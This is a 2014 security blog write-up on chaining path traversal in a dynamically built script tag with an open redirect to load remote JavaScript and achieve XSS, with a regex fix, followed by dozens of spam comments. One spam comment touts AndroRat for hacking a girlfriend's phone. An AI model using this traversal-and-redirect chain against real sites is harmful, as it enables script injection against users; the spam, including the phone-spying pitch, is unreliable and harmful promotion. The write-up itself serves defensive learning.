Wednesday, 26 November 2014

Traversal to Redirect to Remote JS XSS

I recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.

The Code

The vulnerable page was loaded with a URL something like this:
And contained Javascript looking something like this:
var country =;
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;

Can you spot how to exploit it? :)


In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".

Once the above script runs you end up with something like:
<script src="/js/timezone-js/timezone-data[test].min.js"></script>
So how can we exploit this?

From Text to Traversal

In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.

We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:[UK.min.js]?

But we still have no way to load our own JS...or do we?

From Traversal to Dead End?

The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.

For example:
Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.

From Redirection to JS

The open redirection was pretty standard something like:
Open redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.

Combining the traversal and redirection the complete attack URL was:

Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
<script src="/../../../../accounts/logout/?next=].min.js"><script>

Congratulations you've achieved XSS by loading remote JS from traversal and redirection!

The Fix

I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
country = country.replace(/[^\w\-]/g, '');

Final Thoughts

I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)

If you have any questions or feedback just drop me a comment below. Pwndizzle out.


  1. Hi, I read your post regarding the Facebook account phone number determinations. I was wondering if you have an e-mail I could reach you at. Locked out of Yahoo mail from years ago, and I don't know the phone number associated to my account anymore.

    Thank you.

  2. thanks for your information
    For more information click here:
    ethical hacking course in hyderabad

  3. This is such a good post. One of the best posts that I\'ve read in my whole life. I am so happy that you chose this day to give me this. Please, continue to give me such valuable posts. Cheers!
    java training in tambaram | java training in velachery

    java training in omr | oracle training in chennai

    java training in annanagar | java training in chennai

  4. It seems you are so busy in last month. The detail you shared about your work and it is really impressive that's why i am waiting for your post because i get the new ideas over here and you really write so well.
    python training in pune
    python online training
    python training in OMR

  5. A universal message I suppose, not giving up is the formula for success I think. Some things take longer than others to accomplish, so people must understand that they should have their eyes on the goal, and that should keep them motivated to see it out til the end.
    python training in pune
    python online training
    python training in OMR

  6. Great post! I am actually getting ready to across this information, It’s very helpful for this blog.Also great with all of the valuable information you have Keep up the good work you are doing well.
    Devops training in velachery
    Devops training in annanagar
    Devops training in sholinganallur

  7. The knowledge of technology you have been sharing thorough this post is very much helpful to develop new idea. here by i also want to share this.
    Devops training in tambaram
    DevOps online Training
    DevOps Training in USA

  8. We are a group of volunteers and starting a new initiative in a community. Your blog provided us valuable information to work on.You have done a marvellous job!
    Blueprism online training

    Blue Prism Training in Pune

  9. Nice tutorial. Thanks for sharing the valuable information. it’s really helpful. Who want to learn this blog most helpful. Keep sharing on updated tutorials…
    Blueprism training institute in Chennai

    Blueprism online training

    Blue Prism Training Course in Pune

    Blue Prism Training Institute in Bangalore

  10. This comment has been removed by the author.

  11. Greetings. I know this is somewhat off-topic, but I was wondering if you knew where I could get a captcha plugin for my comment form? I’m using the same blog platform like yours, and I’m having difficulty finding one? Thanks a lot.
    AWS Interview Questions And Answers
    AWS Online Training | Online AWS Certification Course - Gangboard
    AWS Training in Chennai | AWS Training Institute in Chennai Velachery, Tambaram, OMR
    AWS Training in Bangalore |Best AWS Training Institute in BTM ,Marathahalli

  12. Awwsome informative blog ,Very good information thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us. Aviation Courses in Chennai | Best Aviation Academy in Chennai | Aviation Academy in Chennai | Aviation Training in Chennai | Aviation Institute in Chennai

  13. Thank you sharing this kind of noteworthy information. Nice Post.

    Guest posting sites

  14. This information is impressive. I am inspired with your post writing style & how continuously you describe this topic. Eagerly waiting for your new blog keep doing more.
    Android Training in Bangalore
    Android Developer Course in Bangalore
    Android App Development Training in Bangalore
    Android Training Center in Bangalore
    Android Institute in Bangalore

  15. Amazing information,thank you for your ideas.after along time i have studied
    an interesting information's.we need more updates in your blog.
    Salesforce Training in Mogappair
    Salesforce Training in Thirumangalam
    Salesforce Training in Nungambakkam
    Salesforce Training in Vadapalani

  16. This post is much helpful for us. This is really very massive value to all the readers and it will be the only reason for the post to get popular with great authority.
    Software Testing Training in Chennai
    Software Testing Courses in Chennai
    Software Training Institutes in Chennai
    Selenium Training
    Selenium Course in Chennai
    Selenium Training Institute in Chennai

  17. Thanks for posting useful information.You have provided an nice article, Thank you very much for this one. And i hope this will be useful for many people.. and i am waiting for your next post keep on updating these kinds of knowledgeable things...Really it was an awesome article...very interesting to read..please sharing like this information......
    PHP interview questions and answers | PHP interview questions | PHP interview questions for freshers | PHP interview questions and answers for freshers | php interview questions and answers for experienced | php viva questions and answers | php based interview questions

  18. Many people put effort to look for Best Villas and here comes our exclusive guide on how to choose the Best Independent Luxury Villas in Chennai even you can find Budget Cheap Villas in our most areas across ECR and OMR.

  19. Great Article, very useful information, thank you !!

    Guest posting sites

  20. WP Engine, most rated WordPress hosting comes with all the essential & advanced features for Wp Engine Black Friday WordPress powered sites. WP Engine just beyond a hosting company where they incorporated many tools to identify slow loading pages.

  21. Regular charges will be applied to other customers according to their services provider. If you are unable to make a call on Sky broadband Numbersimply use live chat options to avail broadband services.

  22. I think this is the best article today about the future technology. Thanks for taking your own time to discuss this topic, I feel happy about that curiosity has increased to learn more about this topic. Artificial Intelligence Training in Bangalore. Keep sharing your information regularly for my future reference.

  23. I think this is the best article today about the future technology. Thanks for taking your own time to discuss this topic, I feel happy about that curiosity has increased to learn more about this topic.Artificial Intelligence Training in Bangalore. Keep sharing your information regularly for my future reference.

  24. This comment has been removed by the author.

  25. Outstanding blog thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us.

    Check out : machine learning training in chennai
    artificial intelligence and machine learning course in chennai
    machine learning with python course in chennai
    best machine learning institutes in chennai

  26. This is a nice article here with some useful tips for those who are not used-to comment that frequently. Thanks for this helpful information I agree with all points you have given to us. I will follow all of them.
    Microsoft Azure online training
    Selenium online training
    Java online training
    Python online training
    uipath online training

  27. Hey Nice Blog!! Thanks For Sharing!!!Wonderful blog & good post.Its really helpful for me, waiting for a more new post. Keep Blogging!
    SEO company in coimbatore
    SEO Service in Coimbatore
    web design company in coimbatore

  28. Great Article… I love to read your articles because your writing style is too good, its is very very helpful for all of us and I never get bored while reading your article because, they are becomes a more and more interesting from the starting lines until the end.

    AWS Training in Bangalore

    Best AWS Training Institute in Bangalore

  29. This comment has been removed by the author.

  30. On this website you can join unlimited groups . click and get unlimited whatsapp group links

  31. Really It is very useful information for us. thanks for sharing.
    CEH Training In Hyderabad

  32. Interesting information and attractive.This blog is really rocking... Yes, the post is very interesting and I really like it.I never seen articles like this. I meant it's so knowledgeable, informative, and good looking site. I appreciate your hard work. Good job.
    Kindly visit us @
    Sathya Online Shopping
    Online AC Price | Air Conditioner Online | AC Offers Online | AC Online Shopping
    Inverter AC | Best Inverter AC | Inverter Split AC
    Buy Split AC Online | Best Split AC | Split AC Online
    LED TV Sale | Buy LED TV Online | Smart LED TV | LED TV Price
    Laptop Price | Laptops for Sale | Buy Laptop | Buy Laptop Online
    Full HD TV Price | LED HD TV Price
    Buy Ultra HD TV | Buy Ultra HD TV Online
    Buy Mobile Online | Buy Smartphone Online in India

  33. I Had Read Your Article & Really Like It, Thank You For This Type Of Valuable Information !!

    Are You Planning To Buy A Phone Or Want To Know Best Phones In 2019 Then Visit Our Website Phones Pick

  34. Nice Article…
    Really appreciate your work
    Breakup Status

  35. Hello, I read your blog occasionally, and I own a similar one, and I was just wondering if you get a lot of spam remarks? If so how do you stop it, any plugin or anything you can advise? I get so much lately it’s driving me insane, so any assistance is very much appreciated.
    AWS Training in Chennai | Best AWS Training in Chennai
    Best Data Science Training in Chennai
    Best Python Training in Chennai
    Best RPA Training in Chennai
    Digital Marketing Training in Chennai
    Matlab Training in Chennai

  36. Great and Nice Blog! I would like to thank for the efforts you have made in writing this great article. Thanks for sharing.

    ExcelR Data Science Bangalore

  37. I have read your article, it is very informative and helpful for me.I admire the valuable information you offer in your articles. Thanks for posting it..
    data analytics course malaysia

  38. To read more informative article on static gk quiz you can go to byscoop

  39. If you have Natural Curls or Curly Hair, you are just blessed. You can experiment with many Hairstyles which will Look Stylish here we tell about top best and easy Curly Hairstyles

  40. Excellent Blog. I really want to admire the quality of this post. I like the way of your presentation of ideas, views and valuable content. No doubt you are doing great work. I’ll be waiting for your next post. Thanks .Keep it up!
    Kindly visit us @
    Luxury Packaging Box
    Wallet Box
    Perfume Box Manufacturer
    Candle Packaging Boxes
    Luxury Leather Box
    Luxury Clothes Box
    Luxury Cosmetics Box
    Shoe Box Manufacturer
    Luxury Watch Box


  41. It is perfect time to make some plans for the future and it is time to be happy. I’ve read this post and if I could I desire to suggest you few interesting things or tips. Perhaps you could write next articles referring to this article. I want to read more things about it!

    Big Data Course

  42. Really amazing article thanks for this article.

  43. Hi! This is my first visit to your blog! We are a team of volunteers and new initiatives in the same niche. Blog gave us useful information to work. You have done an amazing job!

    Big Data Course Malaysia

  44. Great post i must say and thanks for the information. Education is definitely a sticky subject. it is still among the leading topics of our time. I appreciate your post and looking for more.Data Science Courses

  45. This information really amazing thanks for share this article thank you..

    easy hindi riddles with answers

  46. If you are facing such hurdles and want to fix them immediately, reach MYOB Support Number for help. Here, the experts provide all kinds of resolutions for desktop and cloud-based MYOB software.

  47. Antivirus has made our lives easier and secured. When you dial Webroot Support Toll-free Number , our experts will instantly engage with you. We cover a wide scope of services to satisfy every customer with the best solutions.

  48. Thanks for the Valuable information.Really useful information. Thank you so much for sharing.It will help everyone.Keep Post. Find Some Indian Memes. Interesting News Tamilrockers Movie Download Trending News Some Life hacks tips Life hacks Entertainment News Find Some Viral News Here.Trending News
    saurabh jindal

  49. Wow, absolutely fantastic blog. I am very glad to have such useful information

    clipping path service|Photo Retouching services|Vector Tracing

  50. Thanks for the great post you posted. I like the way you describe the unique content. The points you raise are valid and reasonable. I am a tech support expert telling you about

  51. PUBG Mobile Lite need minimum 2GB of RAM is claimed as per the official requirements

  52. I Got Job in my dream company with decent 12 Lacks Per Annum salary, I have learned this world most demanding course out there in the current IT Market from the data science course in puneProviders who helped me a lot to achieve my dreams comes true. Really worth trying instant approval blog commenting sites

  53. Thanks for sharing valuable information.It will help everyone.keep Post.
    Kerala Lottery Guessing

  54. Hi,
    Good job & thank you very much for the new information, i learned something new. Very well written. It was sooo good to read and usefull to improve knowledge. Who want to learn this information most helpful. One who wanted to learn this technology IT employees will always suggest you take Hadoop training in btm. Because data science course in pune is one of the best that one can do while choosing the course.

  55. I Got Job in my dream company with decent 12 Lacks Per Annum salary, I have learned this world most demanding course out there in the current IT Market from the Hkbk group of institutions experts who helped me a lot to achieve my dreams comes true. Really worth trying

  56. Nice article
    Thanks for sharing the information
    Please visit leadmirro to know your blog rank

  57. Cool post .. amazing blog. I really appreciate your effort. Thanks for sharing. Please Check Sai Baba Images and Life Quotes in Hindi

  58. Best post .. I really appreciate your hard work and impressive writing style. Thanks for sharing. Keep Writing. Please visit - Sai Baba Images and Good Morning Love

  59. I learned World's Trending Technology from certified experts for free of cost.i Got job in decent Top MNC Company with handsome 14 LPA salary, i have learned the World's Trending Technology from Python training in pune experts who know advanced concepts which can helps to solve any type of Real time issues in the field of Python. Really worth trying instant approval blog commenting sites

  60. Get the most advanced  UiPath Course by Professional expert. Just attend a FREE Demo session.  call us @ 9884412301 | 9600112302
      RPA training in chennai    UiPath training in velachery  

  61. Cool post .. amazing blog. I really appreciate your effort. Thanks for sharing. Please Check Sai Baba Images and Good Morning Love

  62. Really interesting and informative post! Thanks for sharing with us.
    list installed packages on ubuntu

  63. Fonts For Facebook Generate cool and stylish FB Fonts fancy fonts for your Facebook account and Facebook Fonts
    you can use in all social media platform Fonts For FB

  64. Thank you for this great article i learn a lot from your article keep it up.
    read more

  65. This comment has been removed by the author.

  66. Thank you for sharing valuable information. Thanks for provide great informatic blog, really nice required information & the things i never imagined. Thanks you once agian Download Poweramp Pro Apk

  67. Today Launch in india New Jawa Bike is Jawa Anniversary Edition Price at 1.73 lakh (ex-showroom), to mark the 90th year of the brand.

  68. Best Quotes In HindiBest Quotes In


    Shiv Tandav Stotram Full Lyrics? Shiv

    Tandav Stotram Full Lyrics

    Hindi Love Shayari CollectionHindi

    Love Shayari Collection

    Love quotes in hindiLove quotes in


    Pal Pal Dil Ke Paas Lyrics – Arijit SinghPal Pal Dil Ke Paas Lyrics – Arijit Singh
    Tera Fitoor Lyrics – Arijit SinghTera Fitoor Lyrics – Arijit


    Apna Time Aayega LyricsApna Time Aayega Lyrics

  69. Are you like To Hack Garena Free Fire Game, U can want 2 File Free Fire Mod, Unban Virtual
    Are u like to hack your Girlfriend mobile, u can try it AndroRat, FBSub APK

  70. I am Grateful™ that you shared this informational post. Your website has everything that I have been looking for so long. Your knowledge about this topic is quite impressive. I am amazed by the content you shared on this website. I loved this page so much that I have bookmarked it for future reference. Thank you for this valuable piece of information. Sadly I could not find any additional information on this page. The information available here is similar to other websites. I like that your understanding about this subject is very deep. Visit:-
    Linksys Router Support
    Asus Router Support

  71. Thank you for such a nice article keep posting, I am a Regular Visitor of your website.
    the hindu pdf

  72. Very good post, keep sending us such informative articles I visit your website on a regular basis.
    current affairs by jagran josh

  73. Download CoolRom from the largest and cleanest ROMs and emulators resource on the net. Mobile optimized. Systems include N64, GBA, SNES, NDS, GBC, NES, MAME, PSX, Gamecube and more.

  74. Awesome..I read this post so nice and very imformative information...thanks for sharing
    Click here for data science course

  75. We support all types of HP printer troubleshooting and service. Just enter the model number of your printer in to identify the software and drivers your printer requires. Download and install it in your mac and 'Run' the file. The process is easy however if you have any doubts or queries regarding HP printers contact us.

  76. Another factor to consider before getting yourself a folding ‘yak is considering the comfort level and ease of use.

    Convertible Kayak

  77. Thank you for excellent article.You made an article that is interesting.
    Best AWS certification training courses. Build your AWS cloud skills with expert instructor- led classes. Live projects, Hands-on training,24/7 support.

  78. Very Nice article thank you for share this good article 먹튀검증

  79. I found your article on Google when I was surfing, it is written very nicely and is optimized .Thank you I visit your website regularly.
    school fee management software

  80. I must appreciate you for providing such a valuable content for us. This is one amazing piece of article. Helped a lot in increasing my knowledge.

    oracle training in bangalore

  81. keep up the good work. this is an Assam post. this to helpful, i have reading here all post. i am impressed. thank you. this is our digital marketing training center. This is an online certificate course
    digital marketing training in bangalore /